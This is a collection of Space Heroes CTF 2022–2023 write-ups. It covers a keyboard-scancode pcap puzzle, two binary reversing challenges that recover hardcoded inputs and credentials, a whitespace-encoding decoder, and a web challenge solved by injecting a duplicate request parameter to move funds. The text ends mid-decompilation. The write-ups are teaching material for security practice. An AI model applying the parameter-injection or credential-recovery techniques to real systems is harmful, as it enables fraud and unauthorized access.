![](https://static.wixstatic.com/media/1a48ab_838bb80fa0d14e4588c462f4c2e025dd~mv2.png/v1/fill/w_462,h_216,al_c,lg_1,q_90/1a48ab_838bb80fa0d14e4588c462f4c2e025dd~mv2.webp) 35 | 36 | ## Execution 37 | 38 | Perfect ! now we know exactly what to do, given an encrypted flag at the bottom of the grid and in the text file we follow exactly what was explained above and voila! 39 | # Flag 40 | 41 | shctf{the_PRophecY_has_spoken} -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2022/strange-traffic.md: -------------------------------------------------------------------------------- 1 | # Description 2 | We were given a pcap file to investigate and asked to recover the flag 3 | 4 | Hint : alt,esc,1,2,3,4,5,6,7,8,9,0,-,=,backspace,tab,q,w,… 5 | ## Files 6 | strangetrafficchallenge.pcap 7 | # Solution 8 | ## Recon 9 | - after some looking at the file using wireshark we can see that these values change 10 | 11 | ![](https://krypton.ninja/2022/04/03/Space-Heroes-2022-CTF-write-up/strange.png) 12 | 13 | we can assume initially that they are ascii values 14 | 15 | - the hint clearly refers to a keyboard layout 16 | 17 | ## Execution 18 | I went ahead and extracted these values manually and converted them from ascii to text but got nothing useful 19 | 20 | hmmmm a keyboard layout ? is that what the hint is trying to say ? 21 | 22 | I looked online and found this mapping for a qwerty keyboard : 23 | ``` 24 | "1": "`", 25 | "2": "1", 26 | "3": "2", 27 | "4": "3", 28 | "5": "4", 29 | "6": "5", 30 | "7": "6", 31 | "8": "7", 32 | "9": "8", 33 | "10": "9", 34 | "11": "0", 35 | "12": "-", 36 | "13": "=", 37 | "14": "<-", 38 | "15": "tab", 39 | "16": "q", 40 | "17": "w", 41 | "18": "e", 42 | "19": "r", 43 | "20": "t", 44 | "21": "y", 45 | "22": "u", 46 | "23": "i", 47 | "24": "o", 48 | "25": "p", 49 | "26": "[", 50 | "27": "]", 51 | "28": "enter", 52 | "29": "caps", 53 | "30": "a", 54 | "31": "s", 55 | "32": "d", 56 | "33": "f", 57 | "34": "g", 58 | "35": "h", 59 | "36": "j", 60 | "37": "k", 61 | "38": "l", 62 | "39": ";", 63 | "40": "'", 64 | "41": "#", 65 | "42": "shift", 66 | "43": "\\", 67 | "44": "z", 68 | "45": "x", 69 | "46": "c", 70 | "47": "v", 71 | "48": "b", 72 | "49": "n", 73 | "50": "m", 74 | "51": ",", 75 | "52": ".", 76 | "53": "/", 77 | "54": "ctrl", 78 | "55": "win", 79 | "56": "alt", 80 | "57": "space", 81 | "58": "alt", 82 | "59": "win", 83 | "60": "menu", 84 | "61": "ctrl", 85 | ``` 86 | So I went ahead and decoded the values and as soon as i got "sh" as the first letters I knew I'm right ! 87 | # Flag 88 | shctf{thanks f0r th3 t4nk. he n3ver get5 me anyth1ng} -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2023/Acheron.md: -------------------------------------------------------------------------------- 1 | # Description 2 | While researching a foreign planet, you and your team discover a cave with some strange eggs. Upon inspection, something attacked your team. You got separated from them and knocked unconscious. Once awake, you begin running to your ship to regroup with your team. The problem is, you don't remember the way. Find your way back to your ship. 3 | ```python 4 | from pwn import * 5 | p = remote("spaceheroes-acheron.chals.io", 443, ssl=True, sni="spaceheroes-acheron.chals.io") 6 | p.interactive() 7 | ``` 8 | MD5 (Acheron) = d4b016685919535f9662e320bf8dafdc 9 | 10 | ![image](https://user-images.githubusercontent.com/101048320/234362426-20129a4a-ed39-45c7-8927-b6f0834eda10.png) 11 | 12 | # Files 13 | - Acheron 14 | 15 | # Solution 16 | ## Recon 17 | - I went ahead to do regular file recon and ran `file Acheron` and got this output : 18 | ``` 19 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Acheron_FINISHED] - [mar. avril 25, 19:01] 20 | └─[$] <> file Acheron 21 | Acheron: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014a8db1e7cef190ad8b2b7c5d19d404638177ce, for GNU/Linux 3.2.0, not stripped 22 | 23 | ``` 24 | 25 | - Here we can see it's an ELF executable, dynamically linked and not stripped, great! that's all we need to know for now 26 | 27 | - I went ahead and opened the file in ghidra and started the analyzer with the default settings, since the binary is not stripped, we can look at the symbol tree on the left : 28 | 29 | ![image](https://user-images.githubusercontent.com/101048320/234364465-6e0cc3f2-b8b0-4837-af17-a28a27c091ca.png) 30 | 31 | - Here we can see two interesting functions other than `main()` which are `success()` and `rip()`, keep that for later. 32 | 33 | - We examine the entry point for `main()` in the decompiler which gives us this C code : 34 | ```C 35 | 36 | undefined8 main(void) 37 | 38 | { 39 | char local_28; 40 | char local_27; 41 | char local_26; 42 | char local_25; 43 | char local_24; 44 | char local_23; 45 | char local_22; 46 | char local_21; 47 | char local_20; 48 | char local_1f; 49 | char local_1e; 50 | char local_1d; 51 | char local_1c; 52 | char local_1b; 53 | char local_1a; 54 | char local_19; 55 | char local_18; 56 | char local_17; 57 | char local_16; 58 | char local_15; 59 | char local_14; 60 | char local_13; 61 | char local_12; 62 | char local_11; 63 | char local_10; 64 | 65 | puts(" . ."); 66 | puts(" * . . . . * ."); 67 | puts(" . . . . . . ."); 68 | puts(" o . ."); 69 | puts(" . . . ."); 70 | puts(" 0 ."); 71 | puts(" . . , , ,"); 72 | puts(" . \\ . ."); 73 | puts(" . \\ ,"); 74 | puts(" . o . . . ."); 75 | puts(" . \\ , . ."); 76 | puts(" #\\##\\# . . ."); 77 | puts(" # #O##\\### . ."); 78 | puts(" . #*# #\\##\\### . ,"); 79 | puts(" . ##*# #\\##\\## . ."); 80 | puts(" . ##*# #o##\\# . , ."); 81 | puts(" . *# #\\# . . . ,"); 82 | puts(" \\ . ."); 83 | puts("____^/\\___^--____/\\____O______________/\\/\\---/\\___________---______________"); 84 | puts(" /\\^ ^ ^ ^ ^^ ^ \'\\ ^ ^ ---"); 85 | puts(" -- - -- - - --- __ ^"); 86 | puts(" -- __ ___-- ^ ^ -- __"); 87 | puts("\n\n"); 88 | puts( 89 | "You are lost on a hostile alien planet. You gotta navigate your way back to your ship! (Accep table input is N, S, E, W):" 90 | ); 91 | fgets(&local_28,0x1a,stdin); 92 | if (local_28 == 'N') { 93 | if (local_27 == 'E') { 94 | if (local_26 == 'N') { 95 | if (local_25 == 'W') { 96 | if (local_24 == 'S') { 97 | if (local_23 == 'S') { 98 | if (local_22 == 'E') { 99 | if (local_21 == 'W') { 100 | if (local_20 == 'S') { 101 | if (local_1f == 'N') { 102 | if (local_1e == 'E') { 103 | if (local_1d == 'N') { 104 | if (local_1c == 'S') { 105 | if (local_1b == 'S') { 106 | if (local_1a == 'W') { 107 | if (local_19 == 'E') { 108 | if (local_18 == 'E') { 109 | if (local_17 == 'N') { 110 | if (local_16 == 'W') { 111 | if (local_15 == 'S') { 112 | if (local_14 == 'N') { 113 | if (local_13 == 'N') { 114 | if (local_12 == 'E') { 115 | if (local_11 == 'S') { 116 | if (local_10 == 'S') { 117 | success(); 118 | } 119 | } 120 | else { 121 | rip(); 122 | } 123 | } 124 | else { 125 | rip(); 126 | } 127 | } 128 | else { 129 | rip(); 130 | } 131 | } 132 | else { 133 | rip(); 134 | } 135 | } 136 | else { 137 | rip(); 138 | } 139 | } 140 | else { 141 | rip(); 142 | } 143 | } 144 | else { 145 | rip(); 146 | } 147 | } 148 | else { 149 | rip(); 150 | } 151 | } 152 | else { 153 | rip(); 154 | } 155 | } 156 | else { 157 | rip(); 158 | } 159 | } 160 | else { 161 | rip(); 162 | } 163 | } 164 | else { 165 | rip(); 166 | } 167 | } 168 | else { 169 | rip(); 170 | } 171 | } 172 | else { 173 | rip(); 174 | } 175 | } 176 | else { 177 | rip(); 178 | } 179 | } 180 | else { 181 | rip(); 182 | } 183 | } 184 | else { 185 | rip(); 186 | } 187 | } 188 | else { 189 | rip(); 190 | } 191 | } 192 | else { 193 | rip(); 194 | } 195 | } 196 | else { 197 | rip(); 198 | } 199 | } 200 | else { 201 | rip(); 202 | } 203 | } 204 | else { 205 | rip(); 206 | } 207 | } 208 | else { 209 | rip(); 210 | } 211 | } 212 | else { 213 | rip(); 214 | } 215 | return 0; 216 | } 217 | 218 | ``` 219 | 220 | - Interesting, the code has a lot of nested if statements to verify a certain sequence of characters, if the user enters the correct sequence, it executes the `success()` function, otherwise it'll just execute the `rip()` function. 221 | 222 | - Examining the entry point for `succcess()` in the decompiler, we see this C code : 223 | ```C 224 | void success(void) 225 | 226 | { 227 | puts( 228 | "You made it back to your ship successfully, you feel a weird sensation in your chest however. .. " 229 | ); 230 | system("cat flag.txt"); 231 | return; 232 | } 233 | ``` 234 | 235 | - Doing the same thing for `rip()`, we get : 236 | ```C 237 | 238 | void rip(void) 239 | 240 | { 241 | puts("You never found your ship, and wandered the planet aimlessly for the rest of your life."); 242 | /* WARNING: Subroutine does not return */ 243 | exit(0); 244 | } 245 | ``` 246 | 247 | ## Execution 248 | - Bingo! we know that we need to enter a certain sequence of characters to get the flag, the sequence is NENWSSNEWSENSSWEENWSNNESS 249 | 250 | - After entering it, we get the flag ! 251 | 252 | # Flag 253 | shctf{gam3_0v3r_m@n_game_0ver} 254 | -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2023/Bank_of_Knowhere.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Groot is in dire need of some crucial intel about the Bank of Knowhere, but they only share such classified information with their inner circle. In order to become a member of their inner circle, one must have at least 2000₳ - Units in their bank account. Can you lend a hand to Groot in acquiring this information? Remember, as Peter Quill once said, "We're the frickin' Guardians of the Galaxy, we're supposed to protect the galaxy, not destroy it!" 3 | 4 | http://knowhere.hackers.best:31337/ OR spaceheroes-bank-of-knowhere.chals.io 5 | 6 | ![image](https://user-images.githubusercontent.com/101048320/234373490-310b4b7f-4db5-4f3c-94bd-f379a74763ca.png) 7 | 8 | # Solution 9 | ## Recon 10 | - First we head to the link and we're greeted with this webpage : 11 | 12 | ![image](https://user-images.githubusercontent.com/101048320/234373994-01c08af9-8760-4e34-9000-6a87954867b8.png) 13 | 14 | - The source code has nothing interesting as it's just HTML 15 | 16 | - Navigating to http://knowhere.hackers.best:31337/robots.txt, we see this : 17 | 18 | ![image](https://user-images.githubusercontent.com/101048320/234375333-405a8f40-9375-4ed4-a704-aa648c578a0d.png) 19 | 20 | - Interesting! now if we navigate to http://knowhere.hackers.best:31337/admin.php we see this : 21 | 22 | ![image](https://user-images.githubusercontent.com/101048320/234375630-e2f30ed2-42b2-4cf8-bbac-071c1801000c.png) 23 | 24 | ## Trial and error 25 | 26 | - This challenge slapped me in the face and then threw me with all my pentesting knowledge out of the window, I completely failed this challenge x) 27 | 28 | - My initial plan was to intercept the request using Burpsuite and change some parameter, I went ahead and did exactly that : 29 | 30 | ![image](https://user-images.githubusercontent.com/101048320/234378007-72385976-c279-4d04-b789-a01cd81d10dc.png) 31 | 32 | - But then I was quickly slapped in the face with this response : 33 | 34 | ![image](https://user-images.githubusercontent.com/101048320/234378573-98bf90c2-ef5f-415a-99a3-85b82b835887.png) 35 | 36 | - Welp, that was aweful ^^', let's try to URL encode the receiver or add a null byte : 37 | 38 | ![image](https://user-images.githubusercontent.com/101048320/234379087-a271296d-b391-4939-bef5-69dc09128027.png) 39 | 40 | - It didn't quite like it... 41 | 42 | ![image](https://user-images.githubusercontent.com/101048320/234379635-6419a8f2-ff2d-48fc-8d48-217d06457886.png) 43 | 44 | - I literally ran out of ideas for like a whole day, then tried something that seemed to be stupid at first, but I quickly recognized the vulnerability as parameter injection! 45 | 46 | # Execution 47 | 48 | - The solution was to add another receiver to the parameters, as the server checks for the first valid match only, we can add "Groot" as our second receiver : 49 | 50 | ![image](https://user-images.githubusercontent.com/101048320/234381076-9a52bf7c-13ef-4ca3-9ae8-338b552ccd96.png) 51 | 52 | - Now if we check, we see that "Groot" has more than 2000 units : 53 | 54 | ![image](https://user-images.githubusercontent.com/101048320/234381344-fb749274-a74c-4e1a-ac8d-3b2fd30f9a50.png) 55 | 56 | - Navigating to http://knowhere.hackers.best:31337/admin.php again, we are greeted with this amazing webpage : 57 | 58 | ![image](https://user-images.githubusercontent.com/101048320/234381702-e7fb7dcf-fc96-425f-b46e-5cf7a36c1942.png) 59 | 60 | # Flag 61 | shctf{7h3_c0sm0s_1s_w17h1n_u5} 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2023/Bynary_Encoding.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Starfleet has received a transmission from Bynaus. However, the message apears to be blank. Is there some kind of hidden message here? 3 | 4 | MD5(transmission.txt) = 736b9d6c408c3c75559c45083413c10a 5 | 6 | ![image](https://user-images.githubusercontent.com/101048320/234386677-38ddc7f2-1163-48e9-8f05-c8d7e578391a.png) 7 | 8 | # Files 9 | 10 | - transmission.txt 11 | 12 | ## Solution 13 | # Recon 14 | 15 | - I started with a simple file analysis command `file transmission.txt` : 16 | ``` 17 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Bynary_Encoding_FINISHED] - [mar. avril 25, 20:48] 18 | └─[$] <> file transmission.txt 19 | transmission.txt: ASCII text 20 | ``` 21 | 22 | - Okay, let's run `cat transmission.txt` and see what this file contai... oh : 23 | ``` 24 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Bynary_Encoding_FINISHED] - [mar. avril 25, 20:50] 25 | └─[$] <> cat transmission.txt 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | ``` 79 | 80 | ## Trial and Error 81 | 82 | - I figured out this is some type of whitespace encoding, so I used the tool `stegsnow` and got nothing, literally : 83 | ``` 84 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Bynary_Encoding_FINISHED] - [mar. avril 25, 20:52] 85 | └─[$] <> stegsnow transmission.txt 86 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Bynary_Encoding_FINISHED] - [mar. avril 25, 20:52] 87 | └─[$] <> 88 | ``` 89 | - After hexdumping the file with `xxd`, I saw something interesting : 90 | ``` 91 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Bynary_Encoding_FINISHED] - [mar. avril 25, 20:52] 92 | └─[$] <> xxd transmission.txt 93 | 00000000: 2009 0909 2020 0909 0a20 0909 2009 2020 ... ... .. . 94 | 00000010: 200a 2009 0920 2020 0909 0a20 0909 0920 . .. ... ... 95 | 00000020: 0920 200a 2009 0920 2009 0920 0a20 0909 . . .. .. . .. 96 | 00000030: 0909 2009 090a 2009 0920 2020 2009 0a20 .. ... .. .. 97 | 00000040: 0920 0909 0909 090a 2009 0920 2020 0920 . ...... .. . 98 | 00000050: 0a20 0909 2009 0920 200a 2020 0909 2020 . .. .. . .. 99 | 00000060: 2009 0a20 0909 2009 0909 200a 2009 0920 .. .. ... . .. 100 | 00000070: 2009 2020 0a20 0920 0909 0909 090a 2009 . . . ...... . 101 | 00000080: 0920 0909 2009 0a20 2009 0920 0920 200a . .. .. .. . . 102 | 00000090: 2009 0920 0909 0920 0a20 0920 0909 0909 .. ... . . .... 103 | 000000a0: 090a 2009 0909 2009 2020 0a20 2009 0920 .. ... . . .. 104 | 000000b0: 2009 090a 2009 0920 2020 2009 0a20 0909 ... .. .. .. 105 | 000000c0: 2020 2009 090a 2009 0920 0920 2020 0a20 ... .. . . 106 | 000000d0: 0909 2009 2020 090a 2009 0920 0909 0920 .. . .. .. ... 107 | 000000e0: 0a20 0909 2020 0909 090a 2009 2009 0909 . .. .... . ... 108 | 000000f0: 0909 0a20 0909 2020 2020 090a 2009 0920 ... .. .. .. 109 | 00000100: 0909 0920 0a20 0920 0909 0909 090a 2020 ... . . ...... 110 | 00000110: 0909 2009 2020 0a20 0909 2009 0909 200a .. . . .. ... . 111 | 00000120: 2009 0920 2009 2020 0a20 0909 0920 2009 .. . . ... . 112 | 00000130: 200a 2020 0909 2020 2020 0a20 0909 2009 . .. . .. . 113 | 00000140: 2020 090a 2009 0920 2009 2020 0a20 0920 .. .. . . . 114 | 00000150: 0909 0909 090a 2009 0920 0920 2020 0a20 ...... .. . . 115 | 00000160: 2009 0920 2020 200a 2009 0909 2009 0909 .. . ... ... 116 | 00000170: 0a20 0920 0909 0909 090a 2009 0909 2009 . . ...... ... . 117 | 00000180: 2020 0a20 0909 2009 0909 090a 2009 2009 . .. ..... . . 118 | 00000190: 0909 0909 0a20 0909 0920 2020 200a 2009 ..... ... . . 119 | 000001a0: 0920 2020 2009 0a20 2009 0920 2020 090a . .. .. .. 120 | 000001b0: 2009 0920 0909 0920 0a20 0909 0920 0920 .. ... . ... . 121 | 000001c0: 200a 2009 0909 0909 2009 0a . ..... .. 122 | ``` 123 | 124 | - It's not just whitespaces ! there are some values in there ! 125 | 126 | # Execution 127 | 128 | - I went ahead and opened the file with python : 129 | ```python 130 | f = open('transmission.txt', 'rb') 131 | 132 | for i in f.read(): 133 | 134 | print(i) 135 | ``` 136 | 137 | - Here's some of what the script outputs : 138 | ``` 139 | ─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Bynary_Encoding_FINISHED] - [mar. avril 25, 20:57] 140 | └─[$] <> python3 solve.py | head 141 | 32 142 | 9 143 | 9 144 | 9 145 | 32 146 | 32 147 | 9 148 | 9 149 | 10 150 | 32 151 | ``` 152 | 153 | - Interesting, so we know we have mainly 32 and 9 as our values, as the challenge hints, this is binary encoding, where one byte represents the value of 1 and the other represents the value of 0. I wrote this python script to solve the challenge : 154 | 155 | ```python 156 | f = open('transmission.txt', 'rb') 157 | 158 | binary = '' 159 | 160 | def decode_binary_string(s): 161 | return ''.join(chr(int(s[i*8:i*8+8],2)) for i in range(len(s)//8)) 162 | 163 | for i in f.read(): 164 | 165 | if i == 32: 166 | 167 | binary += '0' 168 | elif i == 9: 169 | 170 | binary += '1' 171 | 172 | print(decode_binary_string(binary)) 173 | ``` 174 | - After running the script, we get the flag : 175 | ``` 176 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Bynary_Encoding_FINISHED] - [mar. avril 25, 20:59] 177 | └─[$] <> python3 solve.py 178 | shctf{a_bl1nd_m4n_t3aching_an_4ndr0id_h0w_to_pa1nt} 179 | ``` 180 | 181 | # Flag 182 | shctf{a_bl1nd_m4n_t3aching_an_4ndr0id_h0w_to_pa1nt} 183 | 184 | 185 | -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2023/Galactic_Federation.md: -------------------------------------------------------------------------------- 1 | # Description 2 | After escaping galactic federal prison, you (the legendary Rick Sanchez) have just given yourself Level 9 access to the federation headquarters. Now, you must break into their computer systems and find a way to topple the galactic government. 3 | ```python 4 | from pwn import * 5 | p=remote("spaceheroes-galactic-federation.chals.io", 443, ssl=True, sni="spaceheroes-galactic-federation.chals.io") 6 | p.interactive() 7 | ``` 8 | 9 | ![image](https://user-images.githubusercontent.com/101048320/234393152-d0ca48c6-ef96-4d88-955d-de86dfb3821c.png) 10 | 11 | 12 | MD5 (galactic_federation.bin) = 1fd732b8d7a1ffc80c0ccc55ef5de4be 13 | 14 | # Files 15 | - galactic_federation.bin 16 | 17 | # Solution 18 | ## Recon 19 | 20 | - As usual, I went ahead to analyze the file using `file galactic_federation.bin` : 21 | ``` 22 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Galactic_Federation_FINISHED] - [mar. avril 25, 21:18] 23 | └─[$] <> file galactic_federation.bin 24 | galactic_federation.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=20c3dcd85df8c05f6a9ce56bda2fd0ca658ac4b0, for GNU/Linux 3.2.0, not stripped 25 | ``` 26 | - We can see few things that catch out interest, the binary is an ELF executable, dynamically linked and not stripped 27 | 28 | - Opening the binary in ghidra, and since it isn't stripped, we can look at the symbol tree and we see few functions : 29 | 30 | ![image](https://user-images.githubusercontent.com/101048320/234394894-d1aa1baa-b7dc-48a7-a980-44ca861a6d9b.png) 31 | 32 | - I went ahead and opened the `main()` function and got this : 33 | ```c++ 34 | undefined8 main(void) 35 | 36 | { 37 | login_page(); 38 | return 0; 39 | } 40 | ``` 41 | 42 | - It only executes the `login_page()` function, let's see what that one has : 43 | ```c++ 44 | 45 | /* WARNING: Unknown calling convention -- yet parameter storage is locked */ 46 | /* login_page() */ 47 | 48 | void login_page(void) 49 | 50 | { 51 | bool bVar1; 52 | bool bVar2; 53 | basic_ostream *pbVar3; 54 | basic_ostream> *this; 55 | basic_string local_e8 [32]; 56 | basic_string local_c8 [32]; 57 | basic_string,std::allocator> local_a8 [47]; 58 | allocator local_79; 59 | basic_string local_78 [32]; 60 | basic_string local_58 [32]; 61 | duration> local_38 [12]; 62 | int local_2c [3]; 63 | 64 | do { 65 | std::__cxx11::basic_string,std::allocator>::basic_string(); 66 | std::__cxx11::basic_string,std::allocator>::basic_string(); 67 | /* try { // try from 00403c68 to 00403c6c has its CatchHandler @ 00403ebf */ 68 | clear_terminal(); 69 | std::allocator::allocator(); 70 | /* try { // try from 00403c8c to 00403c90 has its CatchHandler @ 00403e82 */ 71 | std::__cxx11::basic_string,std::allocator>:: 72 | basic_string>(local_a8,"federation_logo.txt",&local_79); 73 | /* try { // try from 00403c9b to 00403c9f has its CatchHandler @ 00403e6e */ 74 | print_file((basic_string *)local_a8); 75 | std::__cxx11::basic_string,std::allocator>::~basic_string 76 | (local_a8); 77 | std::allocator::~allocator((allocator *)&local_79); 78 | /* try { // try from 00403cc5 to 00403d54 has its CatchHandler @ 00403ebf */ 79 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"------------------------------"); 80 | std::basic_ostream>::operator<< 81 | ((basic_ostream> *)pbVar3, 82 | std::endl>); 83 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"Galactic Federation Login Page"); 84 | std::basic_ostream>::operator<< 85 | ((basic_ostream> *)pbVar3, 86 | std::endl>); 87 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"------------------------------"); 88 | std::basic_ostream>::operator<< 89 | ((basic_ostream> *)pbVar3, 90 | std::endl>); 91 | std::operator<<((basic_ostream *)std::cout,"USERNAME: "); 92 | std::operator>>((basic_istream *)std::cin,local_e8); 93 | std::operator<<((basic_ostream *)std::cout,"PASSWORD: "); 94 | std::operator>>((basic_istream *)std::cin,local_c8); 95 | bVar1 = false; 96 | /* try { // try from 00403d71 to 00403da5 has its CatchHandler @ 00403e93 */ 97 | obfuscate(local_78); 98 | bVar2 = std::operator==(local_78,"hktpu"); 99 | if (bVar2) { 100 | obfuscate(local_58); 101 | bVar1 = true; 102 | bVar2 = std::operator==(local_58,"8fs7}:f~Y;unS:yfqL;uZ"); 103 | if (!bVar2) goto LAB_00403dc9; 104 | bVar2 = true; 105 | } 106 | else { 107 | LAB_00403dc9: 108 | bVar2 = false; 109 | } 110 | if (bVar1) { 111 | std::__cxx11::basic_string,std::allocator>::~basic_string 112 | ((basic_string,std::allocator> *)local_58); 113 | } 114 | std::__cxx11::basic_string,std::allocator>::~basic_string 115 | ((basic_string,std::allocator> *)local_78); 116 | if (bVar2) { 117 | /* try { // try from 00403df5 to 00403e4a has its CatchHandler @ 00403ebf */ 118 | admin_console(); 119 | } 120 | else { 121 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"Incorrect Username or Password!"); 122 | this = (basic_ostream> *) 123 | std::basic_ostream>::operator<< 124 | ((basic_ostream> *)pbVar3, 125 | std::endl>); 126 | std::basic_ostream>::operator<< 127 | (this,std::endl>); 128 | local_2c[0] = 2000; 129 | std::chrono::duration>::duration(local_38,local_2c); 130 | std::this_thread::sleep_for>((duration *)local_38); 131 | } 132 | std::__cxx11::basic_string,std::allocator>::~basic_string 133 | ((basic_string,std::allocator> *)local_c8); 134 | std::__cxx11::basic_string,std::allocator>::~basic_string 135 | ((basic_string,std::allocator> *)local_e8); 136 | } while( true ); 137 | } 138 | 139 | ``` 140 | - Reading through the code, I was interested in this portion (line 36) : 141 | ```c++ 142 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"------------------------------"); 143 | std::basic_ostream>::operator<< 144 | ((basic_ostream> *)pbVar3, 145 | std::endl>); 146 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"Galactic Federation Login Page"); 147 | std::basic_ostream>::operator<< 148 | ((basic_ostream> *)pbVar3, 149 | std::endl>); 150 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"------------------------------"); 151 | std::basic_ostream>::operator<< 152 | ((basic_ostream> *)pbVar3, 153 | std::endl>); 154 | std::operator<<((basic_ostream *)std::cout,"USERNAME: "); 155 | std::operator>>((basic_istream *)std::cin,local_e8); 156 | std::operator<<((basic_ostream *)std::cout,"PASSWORD: "); 157 | std::operator>>((basic_istream *)std::cin,local_c8); 158 | bVar1 = false; 159 | /* try { // try from 00403d71 to 00403da5 has its CatchHandler @ 00403e93 */ 160 | obfuscate(local_78); 161 | bVar2 = std::operator==(local_78,"hktpu"); 162 | if (bVar2) { 163 | obfuscate(local_58); 164 | bVar1 = true; 165 | bVar2 = std::operator==(local_58,"8fs7}:f~Y;unS:yfqL;uZ"); 166 | if (!bVar2) goto LAB_00403dc9; 167 | bVar2 = true; 168 | } 169 | else { 170 | LAB_00403dc9: 171 | bVar2 = false; 172 | } 173 | if (bVar1) { 174 | std::__cxx11::basic_string,std::allocator>::~basic_string 175 | ((basic_string,std::allocator> *)local_58); 176 | } 177 | std::__cxx11::basic_string,std::allocator>::~basic_string 178 | ((basic_string,std::allocator> *)local_78); 179 | if (bVar2) { 180 | /* try { // try from 00403df5 to 00403e4a has its CatchHandler @ 00403ebf */ 181 | admin_console(); 182 | } 183 | else { 184 | pbVar3 = std::operator<<((basic_ostream *)std::cout,"Incorrect Username or Password!"); 185 | this = (basic_ostream> *) 186 | std::basic_ostream>::operator<< 187 | ((basic_ostream> *)pbVar3, 188 | std::endl>); 189 | std::basic_ostream>::operator<< 190 | (this,std::endl>); 191 | local_2c[0] = 2000; 192 | std::chrono::duration>::duration(local_38,local_2c); 193 | std::this_thread::sleep_for>((duration *)local_38); 194 | } 195 | ``` 196 | 197 | - We can see that it's asking the user to enter a username and a password, then passing them to the `obfuscate()` function before comparing them to "hktpu" and "8fs7}:f~Y;unS:yfqL;uZ" respectively 198 | 199 | - I went ahead to examine the `obfuscate()` function and it looked like this : 200 | ```c++ 201 | 202 | /* obfuscate(std::__cxx11::basic_string, std::allocator >&) */ 203 | 204 | basic_string * obfuscate(basic_string *param_1) 205 | 206 | { 207 | char *pcVar1; 208 | ulong uVar2; 209 | ulong in_RSI; 210 | int local_1c; 211 | 212 | local_1c = 0; 213 | while( true ) { 214 | uVar2 = std::__cxx11::basic_string,std::allocator>::length(); 215 | if (uVar2 <= (ulong)(long)local_1c) break; 216 | pcVar1 = (char *)std::__cxx11::basic_string,std::allocator>:: 217 | operator[](in_RSI); 218 | *pcVar1 = *pcVar1 + '\a'; 219 | local_1c = local_1c + 1; 220 | } 221 | std::__cxx11::basic_string,std::allocator>::basic_string 222 | (param_1); 223 | return param_1; 224 | } 225 | 226 | ``` 227 | 228 | - The function was reading a string, then looping over each character to add '\a' to it, we can easily reverse this function to get the original credentials! keep this for later 229 | 230 | - Going back to the `login_page()` function, after the credentials check, it executes the `admin_console()` function, let's see what this one has : 231 | ```c++ 232 | 233 | /* WARNING: Unknown calling convention -- yet parameter storage is locked */ 234 | /* admin_console() */ 235 | 236 | void admin_console(void) 237 | 238 | { 239 | bool bVar1; 240 | basic_ostream *pbVar2; 241 | basic_string local_78 [32]; 242 | basic_string,std::allocator> local_58 [47]; 243 | allocator local_29; 244 | duration> local_28 [12]; 245 | int local_1c [3]; 246 | 247 | do { 248 | clear_terminal(); 249 | std::allocator::allocator(); 250 | /* try { // try from 0040393a to 0040393e has its CatchHandler @ 00403b8b */ 251 | std::__cxx11::basic_string,std::allocator>:: 252 | basic_string>(local_58,"federation_logo.txt",&local_29); 253 | /* try { // try from 00403946 to 0040394a has its CatchHandler @ 00403b7a */ 254 | print_file((basic_string *)local_58); 255 | std::__cxx11::basic_string,std::allocator>::~basic_string 256 | (local_58); 257 | std::allocator::~allocator((allocator *)&local_29); 258 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"--------------"); 259 | std::basic_ostream>::operator<< 260 | ((basic_ostream> *)pbVar2, 261 | std::endl>); 262 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"Admin Terminal"); 263 | std::basic_ostream>::operator<< 264 | ((basic_ostream> *)pbVar2, 265 | std::endl>); 266 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"--------------"); 267 | std::basic_ostream>::operator<< 268 | ((basic_ostream> *)pbVar2, 269 | std::endl>); 270 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"OPTIONS:"); 271 | std::basic_ostream>::operator<< 272 | ((basic_ostream> *)pbVar2, 273 | std::endl>); 274 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"presidential_decree"); 275 | std::basic_ostream>::operator<< 276 | ((basic_ostream> *)pbVar2, 277 | std::endl>); 278 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"adjust_economy"); 279 | std::basic_ostream>::operator<< 280 | ((basic_ostream> *)pbVar2, 281 | std::endl>); 282 | pbVar2 = 